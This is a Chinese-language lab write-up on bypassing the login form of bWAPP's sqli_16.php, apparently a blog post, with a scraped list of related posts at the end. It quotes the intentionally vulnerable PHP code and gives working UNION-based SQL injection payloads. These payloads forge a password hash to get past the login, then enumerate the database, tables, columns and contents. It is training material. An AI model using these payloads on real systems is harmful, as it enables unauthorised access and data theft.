SQL注入之bWAPP之sqli_16.php

SQL Injection (Login Form/User),这个注入真的让我崩溃,说好的单引号报错后,相应的改SQL语句,然而并没用,然后求助身边的大牛,他说这个好像不一样,曾经好像是一道CTF的题,和一般的SQL注入不一样,但是一时想不起来怎么秀的了,然后终于想了起来,接着带着我一顿操作,终于明白是怎么回事了。
这一切都要从代码讲起,先看代码:

从第二行开始,$login参数接收传入的login,$password接收传入的password,sqli($password)这个是设置难度的,这里没有用,接着将password使用sha1方式hash,然后是SQL查询语句,只查询了login,接下来是第15行$recordset连接数据库并使用$sql的查询语句,在看if、else语句的else部分,第23行$row取出查询结果的一组作为关联数组,这点很重要,还有下面一点,第25行的判断句“if($row["login"] && $password == $row["password"])”,这里要使$row["login"]为真而且$password == $row["password"]),这要怎么弄呢,有方法,$row["login"]不是$login,而是查询后存放在$row的login的值,同理第9行$passwrod和hash值只要等于$row["password"]),所以可以构造SQL语句了,这里比较难受的问题是,你不知道字段数和login和password对应的字段的位置,所以我们需要黑白盒结合起来,打开数据库查询字段和位置,(代码在最后附上)如图:

可以看到password在第三个字段处,我们让password的值为“1”,在线MD5一下,找到sha1对应的hash值为“356a192b7913b04c54574d18c28d46e6395428ab”,开始构造查询语句,输入“
form=submit
&login=‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+
&password=1
”,结果如图:

再详细说下原因:将“‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”赋给login,$sql就成了“$sql = "SELECT * FROM users WHERE login = ‘" ‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+"‘";”所以$recordset从数据库中搜索就有了返回值,即$row["login"]返回不为空,这里第一个条件就构成了。后面POST的“&password=1”,1的hash的值被我们添加到联合查询语句里了,这样返回的显示中就有1的hash值,即返回的查询有1的hash值,如此$row["password"]的值就是我们传入到password位置的1的hash值了,这样$password的值就等于$row["password"],所以第25行的if判断语句就为真了,是不是很有意思。
下面就是正常的SQL查询了,我也跟着在来一遍。
1、查询数据库等信息:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”,结果如图:

2、查询表名:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,table_name,6,7,8,9 from information_schema.tables where table_schema=‘Bwapp‘ #+”,可以看见表名为“Blog”并且还有一个“wapp”数据库,可以自己尝试一下,结果如图:

3、查询字段名:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,column_name,6,7,8,9 from information_schema.columns where table_name=‘Blog‘ #+”,结果如图:

4、查询字段的内容:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,id,6,7,8,9 from Blog #+”。

部分代码如下:

<?php
    if(isset($_POST["form"]))
    {
        $login = $_POST["login"];
        $login = sqli($login);

        $password = $_POST["password"];
        $password = sqli($password);
        $password = hash("sha1", $password, false);

        $sql = "SELECT * FROM users WHERE login = ‘" . $login . "‘";

        // echo $sql;

        $recordset = mysql_query($sql, $link);

        if(!$recordset)
        {
            die("Error: " . mysql_error());
        }
        else
        {
            $row = mysql_fetch_array($recordset);

            if($row["login"] && $password == $row["password"])
            {
                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) .    "</b></p>";
                // $message = $row["login"];
            }
            else
            {
                $message = "<font color=\"red\">Invalid credentials!</font>";
            }
        }
        mysql_close($link);
    }
    echo $message;
?>

原文地址:http://blog.51cto.com/13577444/2092910

时间: 2024-10-14 02:52:49

SQL注入之bWAPP之sqli_16.php的相关文章

SQL注入之bWAPP之sqli_1.php

1.测试有没有注入点,如果有是什么类型注入,首先在"title=1"后面加个单引号看结果,如下图:报错中含有"%"提示,所以可以确定是搜索型SQL注入.2.输入"title=1%'and'%'='"或"title=1%'or'%'='",都未报错,且"title=1%'or'%'='"显示页面如下:接下来开始注入.3.判断字段数:输入"title=1%'order by 7 --+",页

SQL注入之bWAPP之sqli_10-1.php

SQL注入(AJAX/JSON/jQuery),需要知道ajax的作用,之前Google后,大概就流程是:当前页提交的数据会先到ajax进行处理,然后在传到服务器.这就需要使用burpsuit,可以看到抓包内容的referer项是当前网页提交的内容,GET头提交的是ajax处理后要发往服务器请求.大致是这样,如果有什么不对,请指出,以免我误导他人,谢谢. 接下来开始注入了. 1.打开burpsuit,在浏览器里搜索框中输入1,然后提交,抓住数据包.结果如图:2.在数据包头的URI部分输入"tit

SQL注入之bWAPP之manual_interv.php

1.输入验证码,多想也没用.然后跳转到熟悉的注入页面.猜想验证码的作用应该就是起到一个登陆验证的作用,查看"manual_interv.php",代码如下: if(isset($_POST["form"]) && isset($_SESSION["captcha"])) { if($_POST["captcha_user"] == $_SESSION["captcha"]) { $_SESS

SQL注入之bWAPP之sqli_2.php

1.先输入单引号判断,结果报"Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1",三个单引号,说明单引号多余,应该是数字型注入即整型注入,如下图:2.用"and 1=1"和"and 1=2"

WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Webshell上传.命令注入.非法HTTP协议请求.非授权文件访问等.

sql注入初中高学习

以下三篇文件关于SQL注入写的很通俗易懂,整理收藏下 渗透攻防Web篇-SQL注入攻击初级: http://bbs.ichunqiu.com/thread-9518-1-1.html 渗透攻防Web篇-SQL注入攻击中级: http://bbs.ichunqiu.com/thread-9668-1-1.html 渗透攻防Web篇-SQL注入攻击高级: http://bbs.ichunqiu.com/thread-10093-1-1.html

php中防止SQL注入的方法

[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全.整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击,一下我们慢慢探讨.我们先使用任何编辑工具打开 /etc/local/apache2/conf/php.ini,如果你是采用其他方式安装,配置文件

sql注入总结

本实验测试是基于sqli-labs的实验环境 环境配置:php+mysql 环境搭建请参考 http://www.freebuf.com/articles/web/34619.html Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站

SQL注入解决思路(C#示例)

最近在编程中遇到一个SQL注入防护的问题.在这里顺便把SQL注入小结一下.以MYSQL(5.1)为例. 一.常规的SQL语句 观察SQL语句 SELECT * FROM [tableName] WHERE col1='value1' 这个语句由3个部分组成,SELECT子句筛选得到结果,FROM子句指定了筛选的范围,WHERE子句指定了条件.当在其中进行如下置换: SELECT * FROM [tableName] WHERE 1 之后,选出了[tableName]表中的全部内容.分析其语法不难